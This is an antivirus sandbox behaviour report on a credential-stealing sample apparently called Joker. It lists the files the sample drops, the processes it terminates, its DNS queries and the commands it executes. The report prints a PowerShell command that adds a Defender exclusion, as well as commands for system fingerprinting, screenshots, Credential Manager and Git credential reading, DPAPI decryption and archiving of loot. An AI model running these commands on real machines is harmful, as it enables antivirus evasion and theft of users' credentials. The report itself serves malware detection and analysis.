Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "if (!(Get-MpPreference).ExclusionPath -contains '<Current directory>') { Add-MpPreference -ExclusionPath '<Current directory>' -Force }"
Terminates or attempts to terminate
the following user processes:
- firefox.exe
Modifies file system
Creates the following files
- %TEMP%\deno-compile-<File name>.exe.a7b971d4.tmp
- nul
- %TEMP%\ff_1781222470698_tdn71mnfx7a.db
- %TEMP%\ff_1781222470987_yw8yv2zgtw.db
- %TEMP%\sc_1781222466645.png
- %TEMP%\joker\all\steam\summary.txt
- %TEMP%\2bzgqi35\2bzgqi35.0.cs
- %TEMP%\2bzgqi35\2bzgqi35.cmdline
- %TEMP%\2bzgqi35\2bzgqi35.out
- %TEMP%\2bzgqi35\cscf18f52f91fa44e63997b3550484e0ca.tmp
- %TEMP%\rese2a0.tmp
- %TEMP%\2bzgqi35\2bzgqi35.dll
- %TEMP%\ext_chrome_1781222479219\manifest.json
- %TEMP%\ext_chrome_1781222479219\bg.js
- %TEMP%\etilqs_hwzsewdyhmcfbw6
- %TEMP%\etilqs_bcll6jt2bkoro0x
- %TEMP%\ext_edge_1781222498864\manifest.json
- %TEMP%\ext_edge_1781222498864\bg.js
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a2b4c64-2a0.pma
- %LOCALAPPDATA%\microsoft\edge\user data\browsermetrics\browsermetrics-6a2b4c75-83c.pma
Deletes following files that it created itself
- %TEMP%\ff_1781222470698_tdn71mnfx7a.db
- %TEMP%\ff_1781222470987_yw8yv2zgtw.db
- %TEMP%\sc_1781222466645.png
- %TEMP%\rese2a0.tmp
- %TEMP%\2bzgqi35\cscf18f52f91fa44e63997b3550484e0ca.tmp
- %TEMP%\2bzgqi35\2bzgqi35.out
- %TEMP%\2bzgqi35\2bzgqi35.0.cs
- %TEMP%\2bzgqi35\2bzgqi35.dll
- %TEMP%\2bzgqi35\2bzgqi35.cmdline
- %TEMP%\ext_chrome_1781222479219\bg.js
- %TEMP%\ext_chrome_1781222479219\manifest.json
- %TEMP%\ext_edge_1781222498864\bg.js
- %TEMP%\ext_edge_1781222498864\manifest.json
Moves the following files
- from %TEMP%\deno-compile-<File name>.exe.a7b971d4.tmp to %TEMP%\deno-compile-<File name>.exe.cache
Modifies the following files
- %LOCALAPPDATA%\microsoft\edge\user data\last version
Network activity
UDP
- DNS ASK ip##i.co
- DNS ASK ip##pi.com
- DNS ASK ap#.#yip.com
- DNS ASK di##ord.com
- DNS ASK google.com
Miscellaneous
Searches for the following windows
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Google\Chrome\User Data'
- ClassName: 'Chrome_MessageWindow' WindowName: '%LOCALAPPDATA%\Microsoft\Edge\User Data'
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(wmic baseboard get manufacturer,product /value) -join ' '"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command $env:COMPUTERNAME
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography' MachineGuid).MachineGuid"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_OperatingSystem).Caption"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_Processor).Name"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory"
- '<SYSTEM32>\wbem\wmic.exe' baseboard get manufacturer,product /value
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(wmic systemenclosure get manufacturer /value) -join ' '"
- '<SYSTEM32>\wbem\wmic.exe' systemenclosure get manufacturer /value
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(tasklist) -join ' '"
- '<SYSTEM32>\tasklist.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -STA -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$scr=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object System.Drawing.Bitmap...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command " Add-Type -TypeDefinition @' using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class CredMan ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command " Add-Type -TypeDefinition @' using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class GitCred ...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSF...
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2bzgqi35\2bzgqi35.cmdline"
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE2A0.tmp" "%TEMP%\2bzgqi35\CSCF18F52F91FA44E63997B3550484E0CA.TMP"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' "--user-data-dir=%LOCALAPPDATA%\Microsoft\Edge\User Data" --load-extension=%TEMP%\ext_Edge_1781222498864 --disable-extensions-except=%TEMP%\ext_Edge_1781222498864 --no-first-run --no-default-br...
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data" --load-extension="%TEMP%\ext_Edge_1781222498864" --disable-extensions-except="%TEMP%\ext_Edge_1781222498864" --no-first-run --no-defaul...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Compress-Archive -Path '%TEMP%\Joker\*' -DestinationPath '%TEMP%\Joker_1781222522005.zip' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -WindowStyle Hidden -Command "if (!(Get-MpPreference).ExclusionPath -contains '<Current directory>') { Add-MpPreference -ExclusionPath '<Current directory>' -Force }"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(wmic baseboard get manufacturer,product /value) -join ' '"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command $env:COMPUTERNAME' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Cryptography' MachineGuid).MachineGuid"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_OperatingSystem).Caption"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_Processor).Name"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(Get-WmiObject Win32_ComputerSystem).TotalPhysicalMemory"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(wmic systemenclosure get manufacturer /value) -join ' '"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "(tasklist) -join ' '"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -STA -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$scr=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object System.Drawing.Bitmap...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command " Add-Type -TypeDefinition @' using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class CredMan ...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command " Add-Type -TypeDefinition @' using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class GitCred ...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSF...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @"%TEMP%\2bzgqi35\2bzgqi35.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE2A0.tmp" "%TEMP%\2bzgqi35\CSCF18F52F91FA44E63997B3550484E0CA.TMP"' (with hidden window)
- '%LOCALAPPDATA%\google\chrome\application\chrome.exe' "--user-data-dir=%LOCALAPPDATA%\Google\Chrome\User Data" --load-extension=%TEMP%\ext_Chrome_1781222479219 --disable-extensions-except=%TEMP%\ext_Chrome_1781222479219 --no-first-run --no-default...' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' "--user-data-dir=%LOCALAPPDATA%\Microsoft\Edge\User Data" --load-extension=%TEMP%\ext_Edge_1781222498864 --disable-extensions-except=%TEMP%\ext_Edge_1781222498864 --no-first-run --no-default-br...' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --user-data-dir="%LOCALAPPDATA%\Microsoft\Edge\User Data" --load-extension="%TEMP%\ext_Edge_1781222498864" --disable-extensions-except="%TEMP%\ext_Edge_1781222498864" --no-first-run --no-defaul...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -Command "Compress-Archive -Path '%TEMP%\Joker\*' -DestinationPath '%TEMP%\Joker_1781222522005.zip' -Force"' (with hidden window)